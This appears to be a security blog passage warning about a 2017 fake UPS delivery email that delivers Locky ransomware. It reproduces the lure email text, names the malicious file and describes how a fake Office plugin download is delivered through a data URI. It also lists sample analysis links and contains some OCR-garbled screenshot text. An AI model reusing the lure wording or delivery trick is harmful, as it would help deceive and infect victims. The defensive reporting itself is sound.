yesterday’s files with the same sites hard coded in it

Email looks like:
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http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/b5009e4137ad28cb4cc267c567e3dbd86842a411c09a2a7fa4c36b70c7537fd2/analysis/1502861631/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/b5009e4137ad28cb4cc267c567e3dbd86842a411c09a2a7fa4c36b70c7537fd2?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/3b60fde281d91cc3e7ea3e343ee5b13a31def564903c0136ae928f70e25c3c02?environmentId=100
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/da40684ec0f603ca5bfdc99b958fa39d3b64f5aabb1096ce2570c478259f177e?environmentId=100
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/3b60fde281d91cc3e7ea3e343ee5b13a31def564903c0136ae928f70e25c3c02/analysis/1503142540/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/3b60fde281d91cc3e7ea3e343ee5b13a31def564903c0136ae928f70e25c3c02?environmentId=100

2 Reply 2 Reply All £} Forward
Sun 20/08/2017 18:01

familyyo@just37.justhost.com

Problems with item delivery, n.005721753
To 517@thespykiler.co.uk

Message aUPS—LabeImE?ZWSS.duc.html (21 KB}

Dear Customer,

Your item has arrived at the UPS Post Office at August 19, but the courier was unable to deliver parcel to you.
Please review delivery label in attachment!

Thanks and best regards,

Corey Ross,
UPS Senior Station Manager.

The html file when opened looks like this in chrome browser. The link won’t work to download the zip file in Internet explorer because it uses
data:application/zip;base64, which IE will not allow to open from a browser. Chrome & Firefox do open them. This eventually delivers the
same locky ransomware file that has been used for the last couple of days

'E Microsoft Word Online - % { % Settings
c O \(Dme:///c:ﬂ Do Igust?6202017, t/ups/UPS-Label-01054634.dochtml % 2 w N O :

Word Online

This document cannot be read in your browser.

Download and install latest plugin version

Download n Update

()

& install-MsOffice36..zip  ~ Showall | X

UPS-Label-01054634.doc.html

https://www.virustotal.com/en/file/74ba7cfa43fb356af92afadbe5218e0b0acc7398287eab5c92ee76c070c22ea2/analysis/1503255385/

https://www.hybrid-analysis.com/sample/74ba7cfa43fb356af92afadbe5218e0b0acc7398287eab5c92ee76c070c22ea2?environmentld=100

Install-MSOffice365-WebView-Plugin-Update-0.165.11a.exe.js

https://www.virustotal.com/en/file/f51f3e32cd4ce8df35ab421cb6a023b1eda18bae6678dd026a9cec8f219a244e/analysis/1503255484/

Locky binary https://www.virustotal.com/en/file/3b60fde281d91cc3e7ea3e343ee5b13a31def564903c0136ae928f70e25c3c02/analysis/
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http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/Problems-with-item-delivery-n005721753.png
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/wp-content/uploads/2017/06/msoffice365-webview-plugin-update.png
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/74ba7cfa43fb356af92afadbe5218e0b0acc7398287eab5c92ee76c070c22ea2/analysis/1503255385/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/74ba7cfa43fb356af92afadbe5218e0b0acc7398287eab5c92ee76c070c22ea2?environmentId=100
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/f51f3e32cd4ce8df35ab421cb6a023b1eda18bae6678dd026a9cec8f219a244e/analysis/1503255484/
http://web.archive.org/web/20181007211751/https://www.hybrid-analysis.com/sample/f51f3e32cd4ce8df35ab421cb6a023b1eda18bae6678dd026a9cec8f219a244e?environmentId=100
http://web.archive.org/web/20181007211751/https://www.virustotal.com/en/file/3b60fde281d91cc3e7ea3e343ee5b13a31def564903c0136ae928f70e25c3c02/analysis/

